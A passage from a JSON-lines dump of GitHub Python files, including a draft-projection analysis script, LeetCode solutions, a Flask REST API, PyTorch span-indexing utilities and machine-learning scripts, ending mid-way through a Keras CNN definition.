app.run()\n","repo_name":"UoMResearchIT/interaction-data-visualisation-tool","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21872355725","text":"\nimport sqlite3 as lite\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef import_data_by_offset(path):\n data = {}\n\n con = lite.connect(path)\n with con:\n cur = con.cursor()\n for i in range(20):\n if i % 2 != 0:\n data[i] = {}\n for j in range(30):\n data[i][j] = []\n for entry in cur.execute(\n \"SELECT * FROM ProjResults WHERE Offset = %d AND Cushion = %d\" \n % (i, j)):\n data[i][j].append(entry)\n\n return data\n\ndef find_percent_still_avail(data, by):\n percentages = {}\n if by == \"offset\":\n for i in range(20):\n if i % 2 != 0:\n percentages[i] = {}\n for j in range(30):\n percentages[i][j] = []\n total = 0\n num = 0.0\n for entry in data[i][j]:\n if entry[3]:\n total += 1\n num += 1\n #print \"Total:\", total\n #print \"Num:\", num\n #print \"t / n:\", total / num\n percentages[i][j] = total / num\n return percentages\n\ndef plot_results(offset, data):\n\n x = range(30)\n y = []\n for i in range(30):\n y.append(data[i])\n\n z = np.polyfit(x, y, 1)\n p = np.poly1d(z)\n\n xp= np.linspace(0, 30, 100)\n\n plt.scatter(x, y)\n plt.plot(xp, p(xp), \"-\")\n\n plt.title(\"Probability of Remaining for %d Picks\" % offset)\n plt.ylabel(\"Probability\")\n plt.xlabel(\"Distance From Best Ranked Available\")\n plt.show()\n\ndef export_csv(data):\n w = open('output.csv', 'w')\n string = \"\"\n for i in range(30):\n string += \", \" + str(i)\n w.write(string + \"\\n\")\n for i in range(1, 18, 2):\n string = str(i)\n for j in range(30):\n string += \", \" + str(data[i][j])\n w.write(string + \"\\n\")\n w.close()\n\ndef export_csv_alt(data):\n w = open('output.csv', 'w')\n string = \"\"\n for i in range(1, 18, 2):\n string += \", \" + str(i)\n w.write(string + \"\\n\")\n for i in range(30):\n string = str(i)\n for j in range(1, 18, 2):\n string += \", \" + str(data[j][i])\n w.write(string + \"\\n\")\n w.close()\n\ndef row_to_string(row):\n row_s = []\n for item in row:\n row_s.append(str(item))\n return row_s\n \n\nif __name__ == '__main__':\n path = \"../data/projection_data.db\"\n data = import_data_by_offset(path)\n percentages = find_percent_still_avail(data, \"offset\")\n plot_results(7, percentages[7])\n export_csv_alt(percentages)\n \n \n","repo_name":"balloosnafoo/draft-manager","sub_path":"post_draft/proj_analysis.py","file_name":"proj_analysis.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24744261595","text":"class Solution:\n def rob(self, nums: List[int]) -> int:\n if len(nums) == 0:\n return 0\n \n if len(nums) == 1:\n return nums[0]\n \n result = [0] * len(nums)\n result[0] = nums[0]\n result[1] = nums[0]\n \n if nums[1] > nums[0]:\n result[1] = nums[1]\n \n for i in range(2, len(nums)):\n result[i] = max(result[i - 1], result[i - 2] + nums[i])\n \n return result[-1]","repo_name":"Poppy22/coding-practice","sub_path":"Leetcode/dp/houserobber.py","file_name":"houserobber.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34003887095","text":"import os\n\nimport cv2\nimport numpy\nimport pygame\nimport h5py\nimport torch\nimport torchvision.transforms.transforms\nfrom fontTools.ttLib import TTFont\n\nimport modules\nfrom tqdm import tqdm\nfrom torch.utils.data import Dataset, DataLoader\n\n\nclass DSet(Dataset):\n def __init__(self, font_file):\n super().__init__()\n ranges = [(0x4E00, 0x9FCB), (0x3400, 0x4DB5), (0x20000, 0x2A6D6), (0x2A700, 0x2B734), (0x2B740, 0x2B81D)]\n self.data = []\n self.ft = pygame.font.Font(font_file, 112)\n self.ft_mp = TTFont(font_file)[\"cmap\"].tables[0].ttFont.getBestCmap()\n for r in ranges:\n for ch in range(r[0], r[1] + 1):\n if ch in self.ft_mp:\n self.data.append(ch)\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, item):\n rtext = self.ft.render(chr(self.data[item]), True, (0, 0, 0), (255, 255, 255))\n img = pygame.transform.scale(rtext, (112, 112))\n img = pygame.surfarray.array3d(img)\n return torch.tensor(img.transpose((2, 1, 0))/255), self.data[item] # CxHxW\n\n\npygame.init()\n# ranges = [(0x4E00, 0x4F00)]\nnet = modules.MobileFaceNet(embedding_size=64).cuda()\nnet.load_state_dict(torch.load(\"saved_models/ocrnet_argued_19.pt\"))\ndatabase = h5py.File(\"char_database.h5\", \"w\")\nnet.eval()\n\ndataloaders=[]\nword_count = {}\nword_feature_vectors = {}\nfor file in os.listdir(\"./eval_fonts\"):\n dataloaders.append(DataLoader(dataset=DSet(os.path.join(\"./eval_fonts\", file)), batch_size=64, shuffle=False))\n\nfor dataloader in dataloaders:\n for it, batch in tqdm(enumerate(dataloader), total=len(dataloader)):\n imgs = batch[0].float().cuda()\n label = batch[1]\n result = net(imgs)\n for b in range(result.shape[0]):\n if str(label[b].item()) in word_feature_vectors.keys():\n word_feature_vectors[str(label[b].item())] += result[b].detach().cpu().numpy()\n word_count[str(label[b].item())] += 1\n else:\n word_feature_vectors[str(label[b].item())] = result[b].detach().cpu().numpy()\n word_count[str(label[b].item())] = 1\n\nfor char, vec in word_feature_vectors.items():\n database.create_dataset(name=char, data=vec/word_count[char])\ndatabase.close()\n","repo_name":"RisingEntropy/Characters-Are-Like-Faces","sub_path":"generate_database.py","file_name":"generate_database.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"2641007627","text":"from numpy import argsort\nfrom faiss import IndexFlatL2\nfrom approximate import approximate\nfrom entry import Entry, Entries\n\n\ndef pluster(pc, delta, tau):\n f = approximate(pc, 0.1)\n\n # sort point_cloud and f by f in ascending order\n sorted_idxs = argsort(f)\n f = f[sorted_idxs]\n pc = pc[sorted_idxs]\n\n lims, _, I = rips_graph(pc, delta)\n\n entries = Entries()\n\n for i in range(len(f)):\n nbr_idxs = I[lims[i]:lims[i+1]]\n upper_star_idxs = nbr_idxs[nbr_idxs < i]\n if upper_star_idxs.size == 0:\n # i is a local maximum\n entries.create(Entry(i))\n else:\n # i is not a local maximum\n entry_idx = entries.find_entry_idx_by_point(upper_star_idxs[0])\n entries.attach(entry_idx, i)\n entries = merge(pc, f, entries, i, upper_star_idxs, tau)\n\n return entries\n\n\ndef merge(pc, f, entries, i, upper_star_idxs, tau):\n for j in upper_star_idxs:\n main_entry_idx = entries.find_entry_idx_by_point(i)\n entry_idx = entries.find_entry_idx_by_point(j)\n root_idx = entries.entries[entry_idx].root_idx\n if entry_idx != main_entry_idx and f[root_idx] - f[i] < tau:\n entries.merge(entry_idx, main_entry_idx)\n\n main_entry_idx = entries.find_entry_idx_by_point(i)\n highest_entry_idx = None\n for j in upper_star_idxs:\n entry_idx = entries.find_entry_idx_by_point(j)\n root_idx = entries.entries[entry_idx].root_idx\n if (highest_entry_idx is None) or f[entries.entries[highest_entry_idx].root_idx] < f[root_idx]:\n highest_entry_idx = entry_idx\n\n if main_entry_idx != highest_entry_idx and f[entries.entries[highest_entry_idx].root_idx] - f[i] < tau:\n entries.merge(main_entry_idx, highest_entry_idx)\n\n for entry in entries.entries:\n entry.points = pc[entry.point_idxs]\n\n return entries\n\n\ndef rips_graph(point_cloud, delta):\n point_cloud = point_cloud.astype('float32')\n _, dim = point_cloud.shape\n index = IndexFlatL2(dim)\n index.add(point_cloud)\n\n return index.range_search(point_cloud, delta)\n","repo_name":"logicoffee/pluster","sub_path":"pluster.py","file_name":"pluster.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"70611735772","text":"def balancedString(s):\n m = \"QWER\"\n counts = []\n for i in range(len(m)):\n counts.append(s.count(m[i]))\n rem = []\n for j in range(len(counts)):\n if counts[j] >= len(s) / 4:\n rem.append(0)\n else:\n rem.append((len(s) / 4) - counts[j])\n out = sum(rem)\n return int(out)\n\n\n\ns = \"WWEQERQWQWWRWWERQWEQ\"\nprint(balancedString(s))","repo_name":"iamvikashk/Leetcode-Programming","sub_path":"1234.py","file_name":"1234.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"3488166819","text":"import itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom excmdstanpy import *\nimport logging\nimport public_data\nimport private_data\nimport plotting\nfrom setup import *\n\nlogging.basicConfig(level=logging.WARNING)\ncmdstan_paths = [\n '/home/niko/cmdstan'\n]\ncmdstanpy.set_cmdstan_path(cmdstan_paths[-1])\n\nfloat_formatter = \"{:.4g}\".format\nnp.set_printoptions(formatter={'float_kind':float_formatter})\n\nmodel_path = f'stan/variance_monster.stan'\n\ndef estimate_work(data):\n return 1\n\nmodel = StanModel(\n stan_file=model_path,\n params=[\n 'unit_log_population_eM',\n 'unit_log_population_eS',\n 'unit_log_person_params',\n 'noise'\n ],\n estimate_work=estimate_work\n)\n\nno_persons = 6\nno_plotted_persons = min(6, no_persons)\ndivergence_goal = 1#0\n\n\nstd_trunc = 1\npop_trunc = 0#np.inf\nperson_trunc = 10\nnoise_scale = .1\n\nparam_labels = public_data.param_labels\nno_latent_params = public_data.no_latent_params\n\nbase_data = dict(\n no_persons=no_persons,\n no_latent_params=no_latent_params,\n noise_scale=noise_scale,\n observed_states=np.zeros((no_persons, no_latent_params)),\n no_experiments=0\n)\n\nprior_data = dict(\n base_data,\n likelihood=0,\n **public_data.get_base_data(\n public_data.prior_population_parameters, std_trunc, pop_trunc, person_trunc\n ),\n)\nposterior_data = dict(\n base_data,\n likelihood=0,\n **public_data.get_base_data(\n public_data.posterior_population_parameters, std_trunc, pop_trunc, person_trunc\n ),\n)\nprior_fit = model.sample(prior_data, **sample_kwargs)\nposterior_fit = model.sample(posterior_data, **sample_kwargs)\nprior_fig = plotting.plot_fit(\n prior_fit, prefix='prior', no_plotted_persons=no_plotted_persons,\n path=f'figs/sbc/variance/prior.png',\n)\nplotting.plot_fit(\n posterior_fit, fig=prior_fig,\n prefix='posterior', no_plotted_persons=no_plotted_persons,\n path=f'figs/sbc/variance/posterior.png',\n)\nfor idx in range(10):\n fit_data = dict(\n posterior_fit.sbc_data(idx),\n **public_data.get_base_data(\n public_data.prior_population_parameters, std_trunc, pop_trunc, person_trunc\n ),\n )\n regular_fit = model.sample(fit_data, **sample_kwargs)\n best_population_parameters = np.array([\n regular_fit.true_series.filter(regex=f'^population_eM'),\n regular_fit.true_series.filter(regex=f'^population_eS')**np.sqrt(1/no_persons),\n regular_fit.true_series.filter(regex=f'^population_eS'),\n regular_fit.true_series.filter(regex=f'^population_eS')*0+no_persons+2,\n public_data.prior_population_parameters[:,-1]\n ]).T\n best_data = dict(\n prior_data,\n **public_data.get_base_data(\n best_population_parameters, std_trunc, pop_trunc, person_trunc\n )\n )\n best_fit = model.sample(best_data, **sample_kwargs)\n regular_fig = plotting.plot_fit(\n prior_fit,\n prefix='prior', no_plotted_persons=no_plotted_persons\n )\n plotting.plot_fit(\n regular_fit, fig=regular_fig,\n prefix='regular warmup', no_plotted_persons=no_plotted_persons\n )\n plotting.plot_fit(\n best_fit, fig=regular_fig, path=f'figs/sbc/variance/{idx}.png',\n prefix='best prior fit', no_plotted_persons=no_plotted_persons\n )\n","repo_name":"nsiccha/monster","sub_path":"sbc_variance.py","file_name":"sbc_variance.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"31669150196","text":"# -*- coding: utf-8 -*-\n__author__ = 'hmizumoto'\n\nfrom flask import Blueprint, request, abort\nfrom app.utils import prep_response, parse_request\nfrom app.models import DOMAIN\nfrom app import app\nfrom app.decoretor import authorize_required\nfrom logging import getLogger, StreamHandler, DEBUG\nlogger = getLogger(__name__)\nhandler = StreamHandler()\nhandler.setLevel(DEBUG)\nlogger.setLevel(DEBUG)\nlogger.addHandler(handler)\n\nmodule = Blueprint('rest', __name__, url_prefix=app.config[\"APPLICATION_ROOT\"])\n\n'''\nrouteの重複を防ぐために全部書く\n@module.route('/collection', methods=['GET', 'POST'])\n@authorize_required\ndef rest_collection():\n return __rest_collection('collection')\n\n@module.route('/collection/', methods=['GET', 'POST'])\n@authorize_required\ndef rest_doc_collection(oid):\n return __rest_document('collection', oid)\n\n\n'''\n@module.route('/users', methods=['GET', 'POST'])\n@authorize_required\ndef rest_users():\n page = request.args.get('page', default=0, type=int)\n per_page = request.args.get('per_page', default=0, type=int)\n return __rest_collection('users', per_page=per_page, page=page)\n\n@module.route('/users/', methods=['GET', 'POST', 'DELETE'])\ndef rest_doc_users(oid):\n return __rest_document('users', oid)\n\n\n@module.route('/items', methods=['GET', 'POST'])\n@module.route('/items/', methods=['GET', 'POST'])\n@authorize_required\ndef rest_items():\n page = request.args.get('page', default=0, type=int)\n per_page = request.args.get('per_page', default=0, type=int)\n query = {'status': 'published'}\n return __rest_collection('items', query, per_page=per_page, page=page)\n\n\n@module.route('/items/', methods=['GET', 'POST', 'DELETE'])\n@authorize_required\ndef rest_doc_items(oid):\n return __rest_document('items', oid)\n\n\n@module.route('/comments', methods=['GET', 'POST'])\n@authorize_required\ndef rest_comments():\n page = request.args.get('page', default=0, type=int)\n per_page = request.args.get('per_page', default=0, type=int)\n return __rest_collection('comments', sort=(\"created\", 1), per_page=per_page, page=page)\n\n\n@module.route('/comments/', methods=['GET', 'POST', 'DELETE'])\n@authorize_required\ndef rest_doc_comments(oid):\n return __rest_document('comments', oid)\n\n\ndef __rest_collection(collection, query=dict(), sort=(\"created\", -1), per_page=0, page=0):\n if collection in DOMAIN:\n model = DOMAIN[collection]\n try:\n if request.method == 'GET':\n ret = model.get_index(query, sort, per_page, page)\n logger.debug(ret)\n return prep_response(ret)\n elif request.method == 'POST':\n data = parse_request(request.form)\n ret = model.post(data)\n return prep_response(ret, 201)\n except ValueError as e:\n logger.debug(e)\n return prep_response(str(e), 400)\n except Exception as e:\n logger.debug(e)\n return prep_response(str(e), 500)\n abort(404)\n\n\ndef __rest_document(collection, oid):\n if collection in DOMAIN:\n model = DOMAIN[collection]\n try:\n if request.method == \"GET\":\n ret = model.get_by_id(oid)\n return prep_response(ret)\n elif request.method == \"POST\":\n data = parse_request(request.form)\n ret = model.patch(oid, data)\n return prep_response(ret)\n elif request.method == \"DELETE\":\n model.delete(oid)\n return prep_response(dict(), 204)\n except ValueError as e:\n return prep_response(str(e), 400)\n except Exception as e:\n logger.debug(e)\n return prep_response(str(e), 500)\n abort(404)\n\n\n","repo_name":"motomizuki/Qlone","sub_path":"app/views/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"29360282670","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2023/1/3 9:51\r\nfrom typing import Union, Tuple, Optional, Any\r\n\r\nimport torch\r\n\r\n\r\nclass ConfigurationError(Exception):\r\n \"\"\"\r\n The exception raised by any AllenNLP object when it's misconfigured\r\n (e.g. missing properties, invalid properties, unknown properties).\r\n \"\"\"\r\n\r\n def __reduce__(self) -> Union[str, Tuple[Any, ...]]:\r\n return type(self), (self.message,)\r\n\r\n def __init__(self, message: str):\r\n super().__init__()\r\n self.message = message\r\n\r\n def __str__(self):\r\n return self.message\r\n\r\n\r\nclass ExperimentalFeatureWarning(RuntimeWarning):\r\n \"\"\"\r\n A warning that you are using an experimental feature\r\n that may change or be deleted.\r\n \"\"\"\r\n\r\n pass\r\n\r\ndef logsumexp(tensor: torch.Tensor, dim: int = -1, keepdim: bool = False) -> torch.Tensor:\r\n \"\"\"\r\n A numerically stable computation of logsumexp. This is mathematically equivalent to\r\n `tensor.exp().sum(dim, keep=keepdim).log()`. This function is typically used for summing log\r\n probabilities.\r\n\r\n # Parameters\r\n\r\n tensor : `torch.FloatTensor`, required.\r\n A tensor of arbitrary size.\r\n dim : `int`, optional (default = `-1`)\r\n The dimension of the tensor to apply the logsumexp to.\r\n keepdim: `bool`, optional (default = `False`)\r\n Whether to retain a dimension of size one at the dimension we reduce over.\r\n \"\"\"\r\n max_score, _ = tensor.max(dim, keepdim=keepdim)\r\n if keepdim:\r\n stable_vec = tensor - max_score\r\n else:\r\n stable_vec = tensor - max_score.unsqueeze(dim)\r\n return max_score + (stable_vec.exp().sum(dim, keepdim=keepdim)).log()\r\n\r\n\r\ndef get_device_of(tensor: torch.Tensor) -> int:\r\n \"\"\"\r\n Returns the device of the tensor.\r\n \"\"\"\r\n if not tensor.is_cuda:\r\n return -1\r\n else:\r\n return tensor.get_device()\r\n\r\n\r\ndef flatten_and_batch_shift_indices(indices: torch.Tensor, sequence_length: int) -> torch.Tensor:\r\n \"\"\"\r\n This is a subroutine for [`batched_index_select`](./util.md#batched_index_select).\r\n The given `indices` of size `(batch_size, d_1, ..., d_n)` indexes into dimension 2 of a\r\n target tensor, which has size `(batch_size, sequence_length, embedding_size)`. This\r\n function returns a vector that correctly indexes into the flattened target. The sequence\r\n length of the target must be provided to compute the appropriate offsets.\r\n\r\n ```python\r\n indices = torch.ones([2,3], dtype=torch.long)\r\n # Sequence length of the target tensor.\r\n sequence_length = 10\r\n shifted_indices = flatten_and_batch_shift_indices(indices, sequence_length)\r\n # Indices into the second element in the batch are correctly shifted\r\n # to take into account that the target tensor will be flattened before\r\n # the indices are applied.\r\n assert shifted_indices == [1, 1, 1, 11, 11, 11]\r\n ```\r\n\r\n # Parameters\r\n\r\n indices : `torch.LongTensor`, required.\r\n sequence_length : `int`, required.\r\n The length of the sequence the indices index into.\r\n This must be the second dimension of the tensor.\r\n\r\n # Returns\r\n\r\n offset_indices : `torch.LongTensor`\r\n \"\"\"\r\n # Shape: (batch_size)\r\n if torch.max(indices) >= sequence_length or torch.min(indices) < 0:\r\n raise ConfigurationError(\r\n f\"All elements in indices should be in range (0, {sequence_length - 1})\"\r\n )\r\n offsets = get_range_vector(indices.size(0), get_device_of(indices)) * sequence_length\r\n for _ in range(len(indices.size()) - 1):\r\n offsets = offsets.unsqueeze(1)\r\n\r\n # Shape: (batch_size, d_1, ..., d_n)\r\n offset_indices = indices + offsets\r\n\r\n # Shape: (batch_size * d_1 * ... * d_n)\r\n offset_indices = offset_indices.view(-1)\r\n return offset_indices\r\n\r\ndef get_range_vector(size: int, device: int) -> torch.Tensor:\r\n \"\"\"\r\n Returns a range vector with the desired size, starting at 0. The CUDA implementation\r\n is meant to avoid copy data from CPU to GPU.\r\n \"\"\"\r\n if device > -1:\r\n return torch.cuda.LongTensor(size, device=device).fill_(1).cumsum(0) - 1\r\n else:\r\n return torch.arange(0, size, dtype=torch.long)\r\n\r\ndef batched_index_select(\r\n target: torch.Tensor,\r\n indices: torch.LongTensor,\r\n flattened_indices: Optional[torch.LongTensor] = None,\r\n) -> torch.Tensor:\r\n \"\"\"\r\n The given `indices` of size `(batch_size, d_1, ..., d_n)` indexes into the sequence\r\n dimension (dimension 2) of the target, which has size `(batch_size, sequence_length,\r\n embedding_size)`.\r\n\r\n This function returns selected values in the target with respect to the provided indices, which\r\n have size `(batch_size, d_1, ..., d_n, embedding_size)`. This can use the optionally\r\n precomputed `flattened_indices` with size `(batch_size * d_1 * ... * d_n)` if given.\r\n\r\n An example use case of this function is looking up the start and end indices of spans in a\r\n sequence tensor. This is used in the\r\n [CoreferenceResolver](https://docs.allennlp.org/models/main/models/coref/models/coref/)\r\n model to select contextual word representations corresponding to the start and end indices of\r\n mentions.\r\n\r\n The key reason this can't be done with basic torch functions is that we want to be able to use look-up\r\n tensors with an arbitrary number of dimensions (for example, in the coref model, we don't know\r\n a-priori how many spans we are looking up).\r\n\r\n # Parameters\r\n\r\n target : `torch.Tensor`, required.\r\n A 3 dimensional tensor of shape (batch_size, sequence_length, embedding_size).\r\n This is the tensor to be indexed.\r\n indices : `torch.LongTensor`\r\n A tensor of shape (batch_size, ...), where each element is an index into the\r\n `sequence_length` dimension of the `target` tensor.\r\n flattened_indices : `Optional[torch.Tensor]`, optional (default = `None`)\r\n An optional tensor representing the result of calling `flatten_and_batch_shift_indices`\r\n on `indices`. This is helpful in the case that the indices can be flattened once and\r\n cached for many batch lookups.\r\n\r\n # Returns\r\n\r\n selected_targets : `torch.Tensor`\r\n A tensor with shape [indices.size(), target.size(-1)] representing the embedded indices\r\n extracted from the batch flattened target tensor.\r\n \"\"\"\r\n if flattened_indices is None:\r\n # Shape: (batch_size * d_1 * ... * d_n)\r\n flattened_indices = flatten_and_batch_shift_indices(indices, target.size(1))\r\n\r\n # Shape: (batch_size * sequence_length, embedding_size)\r\n flattened_target = target.view(-1, target.size(-1))\r\n\r\n # Shape: (batch_size * d_1 * ... * d_n, embedding_size)\r\n flattened_selected = flattened_target.index_select(0, flattened_indices)\r\n selected_shape = list(indices.size()) + [target.size(-1)]\r\n # Shape: (batch_size, d_1, ..., d_n, embedding_size)\r\n selected_targets = flattened_selected.view(*selected_shape)\r\n return selected_targets\r\n\r\n\r\ndef masked_index_fill(\r\n target: torch.Tensor, indices: torch.LongTensor, mask: torch.BoolTensor, fill_value: int = 1\r\n) -> torch.Tensor:\r\n \"\"\"\r\n The given `indices` in `target` will be will be filled with `fill_value` given a `mask`.\r\n\r\n\r\n # Parameters\r\n\r\n target : `torch.Tensor`, required.\r\n A 2 dimensional tensor of shape (batch_size, sequence_length).\r\n This is the tensor to be filled.\r\n indices : `torch.LongTensor`, required\r\n A 2 dimensional tensor of shape (batch_size, num_indices),\r\n These are the indices that will be filled in the original tensor.\r\n mask : `torch.Tensor`, required.\r\n A 2 dimensional tensor of shape (batch_size, num_indices), mask.sum() == `nonzero_indices`.\r\n fill_value : `int`, optional (default = `1`)\r\n The value we fill the tensor with.\r\n\r\n # Returns\r\n\r\n filled_target : `torch.Tensor`\r\n A tensor with shape (batch_size, sequence_length) where 'indices' are filled with `fill_value`\r\n \"\"\"\r\n mask = mask.bool()\r\n prev_shape = target.size()\r\n # Shape: (batch_size * num_indices)\r\n flattened_indices = flatten_and_batch_shift_indices(indices * mask, target.size(1))\r\n # Shape: (batch_size * num_indices, 1)\r\n mask = mask.view(-1)\r\n # Shape: (batch_size * sequence_length, 1)\r\n flattened_target = target.view(-1, 1)\r\n # Shape: (nonzero_indices, 1)\r\n unmasked_indices = flattened_indices[mask].unsqueeze(-1)\r\n\r\n flattened_target = flattened_target.scatter(0, unmasked_indices, fill_value)\r\n\r\n filled_target = flattened_target.reshape(prev_shape)\r\n\r\n return filled_target\r\n\r\n\r\ndef masked_index_replace(\r\n target: torch.Tensor,\r\n indices: torch.LongTensor,\r\n mask: torch.BoolTensor,\r\n replace: torch.Tensor,\r\n) -> torch.Tensor:\r\n \"\"\"\r\n The given `indices` in `target` will be will be replaced with corresponding index\r\n from the `replace` tensor given a `mask`.\r\n\r\n\r\n # Parameters\r\n\r\n target : `torch.Tensor`, required.\r\n A 3 dimensional tensor of shape (batch_size, sequence_length, embedding_dim).\r\n This is the tensor to be replaced into.\r\n indices : `torch.LongTensor`, required\r\n A 2 dimensional tensor of shape (batch_size, num_indices),\r\n These are the indices that will be replaced in the original tensor.\r\n mask : `torch.Tensor`, required.\r\n A 2 dimensional tensor of shape (batch_size, num_indices), mask.sum() == `nonzero_indices`.\r\n replace : `torch.Tensor`, required.\r\n A 3 dimensional tensor of shape (batch_size, num_indices, embedding_dim),\r\n The tensor to perform scatter from.\r\n\r\n # Returns\r\n\r\n replaced_target : `torch.Tensor`\r\n A tensor with shape (batch_size, sequence_length, embedding_dim) where 'indices'\r\n are replaced with the corrosponding vector from `replace`\r\n \"\"\"\r\n target = target.clone()\r\n mask = mask.bool()\r\n prev_shape = target.size()\r\n # Shape: (batch_size * num_indices)\r\n flattened_indices = flatten_and_batch_shift_indices(indices * mask, target.size(1))\r\n # Shape: (batch_size * sequence_length, embedding_size)\r\n flattened_target = target.view(-1, target.size(-1))\r\n # Shape: (nonzero_indices, 1)\r\n mask = mask.view(-1)\r\n flattened_target[flattened_indices[mask]] = replace.view(-1, replace.size(-1))[mask]\r\n # Shape: (batch_size, sequence_length, embedding_dim)\r\n replaced_target = flattened_target.reshape(prev_shape)\r\n return replaced_target\r\n\r\n\r\ndef batched_span_select(target: torch.Tensor, spans: torch.LongTensor) -> torch.Tensor:\r\n \"\"\"\r\n The given `spans` of size `(batch_size, num_spans, 2)` indexes into the sequence\r\n dimension (dimension 2) of the target, which has size `(batch_size, sequence_length,\r\n embedding_size)`.\r\n\r\n This function returns segmented spans in the target with respect to the provided span indices.\r\n\r\n # Parameters\r\n\r\n target : `torch.Tensor`, required.\r\n A 3 dimensional tensor of shape (batch_size, sequence_length, embedding_size).\r\n This is the tensor to be indexed.\r\n indices : `torch.LongTensor`\r\n A 3 dimensional tensor of shape (batch_size, num_spans, 2) representing start and end\r\n indices (both inclusive) into the `sequence_length` dimension of the `target` tensor.\r\n\r\n # Returns\r\n\r\n span_embeddings : `torch.Tensor`\r\n A tensor with shape (batch_size, num_spans, max_batch_span_width, embedding_size]\r\n representing the embedded spans extracted from the batch flattened target tensor.\r\n span_mask: `torch.BoolTensor`\r\n A tensor with shape (batch_size, num_spans, max_batch_span_width) representing the mask on\r\n the returned span embeddings.\r\n \"\"\"\r\n # both of shape (batch_size, num_spans, 1)\r\n span_starts, span_ends = spans.split(1, dim=-1)\r\n\r\n # shape (batch_size, num_spans, 1)\r\n # These span widths are off by 1, because the span ends are `inclusive`.\r\n span_widths = span_ends - span_starts\r\n\r\n # We need to know the maximum span width so we can\r\n # generate indices to extract the spans from the sequence tensor.\r\n # These indices will then get masked below, such that if the length\r\n # of a given span is smaller than the max, the rest of the values\r\n # are masked.\r\n max_batch_span_width = span_widths.max().item() + 1\r\n\r\n # Shape: (1, 1, max_batch_span_width)\r\n max_span_range_indices = get_range_vector(max_batch_span_width, get_device_of(target)).view(\r\n 1, 1, -1\r\n )\r\n # Shape: (batch_size, num_spans, max_batch_span_width)\r\n # This is a broadcasted comparison - for each span we are considering,\r\n # we are creating a range vector of size max_span_width, but masking values\r\n # which are greater than the actual length of the span.\r\n #\r\n # We're using <= here (and for the mask below) because the span ends are\r\n # inclusive, so we want to include indices which are equal to span_widths rather\r\n # than using it as a non-inclusive upper bound.\r\n span_mask = max_span_range_indices <= span_widths\r\n raw_span_indices = span_starts + max_span_range_indices\r\n # We also don't want to include span indices which greater than the sequence_length,\r\n # which happens because some spans near the end of the sequence\r\n # have a start index + max_batch_span_width > sequence_length, so we add this to the mask here.\r\n span_mask = span_mask & (raw_span_indices < target.size(1)) & (0 <= raw_span_indices)\r\n span_indices = raw_span_indices * span_mask\r\n\r\n # Shape: (batch_size, num_spans, max_batch_span_width, embedding_dim)\r\n span_embeddings = batched_index_select(target, span_indices)\r\n\r\n return span_embeddings, span_mask\r\n\r\n\r\ndef flattened_index_select(target: torch.Tensor, indices: torch.LongTensor) -> torch.Tensor:\r\n \"\"\"\r\n The given `indices` of size `(set_size, subset_size)` specifies subsets of the `target`\r\n that each of the set_size rows should select. The `target` has size\r\n `(batch_size, sequence_length, embedding_size)`, and the resulting selected tensor has size\r\n `(batch_size, set_size, subset_size, embedding_size)`.\r\n\r\n # Parameters\r\n\r\n target : `torch.Tensor`, required.\r\n A Tensor of shape (batch_size, sequence_length, embedding_size).\r\n indices : `torch.LongTensor`, required.\r\n A LongTensor of shape (set_size, subset_size). All indices must be < sequence_length\r\n as this tensor is an index into the sequence_length dimension of the target.\r\n\r\n # Returns\r\n\r\n selected : `torch.Tensor`, required.\r\n A Tensor of shape (batch_size, set_size, subset_size, embedding_size).\r\n \"\"\"\r\n if indices.dim() != 2:\r\n raise ConfigurationError(\r\n \"Indices passed to flattened_index_select had shape {} but \"\r\n \"only 2 dimensional inputs are supported.\".format(indices.size())\r\n )\r\n # Shape: (batch_size, set_size * subset_size, embedding_size)\r\n flattened_selected = target.index_select(1, indices.view(-1))\r\n\r\n # Shape: (batch_size, set_size, subset_size, embedding_size)\r\n selected = flattened_selected.view(target.size(0), indices.size(0), indices.size(1), -1)\r\n return selected","repo_name":"ssbuild/deep_training","sub_path":"src/deep_training/nlp/utils/nlputils.py","file_name":"nlputils.py","file_ext":"py","file_size_in_byte":15256,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"32"} +{"seq_id":"41476639843","text":"import gin\nimport tensorflow as tf\nfrom keras import layers\nfrom models.layers import vgg_block\nfrom keras import regularizers\nfrom layers import res_stem, res_build_block, res_basic_block\n\n@gin.configurable\ndef Basic_CNN(input_shape, base_filters, kernel_size, dense_units, dropout_rate, n_classes):\n \"\"\"Defines a basic CNN Network as benchmark.\n in oder to validate the whole training precess\n \"\"\"\n inputs = tf.keras.Input(input_shape)\n out = tf.keras.layers.Conv2D(base_filters, kernel_size, padding='same', activation=tf.nn.relu)(inputs)\n out = tf.keras.layers.MaxPool2D((2, 2))(out)\n out = tf.keras.layers.Conv2D(base_filters * 2, kernel_size, padding='same', activation=tf.nn.relu)(out)\n out = layers.BatchNormalization()(out)\n out = tf.keras.layers.MaxPool2D((2, 2))(out)\n out = tf.keras.layers.Conv2D(base_filters * 4, kernel_size, padding='same', activation=tf.nn.relu)(out)\n out = tf.keras.layers.MaxPool2D((2, 2))(out)\n out = tf.keras.layers.Conv2D(base_filters * 8, kernel_size, padding='same', activation=tf.nn.relu)(out)\n out = layers.BatchNormalization()(out)\n out = tf.keras.layers.MaxPool2D((2, 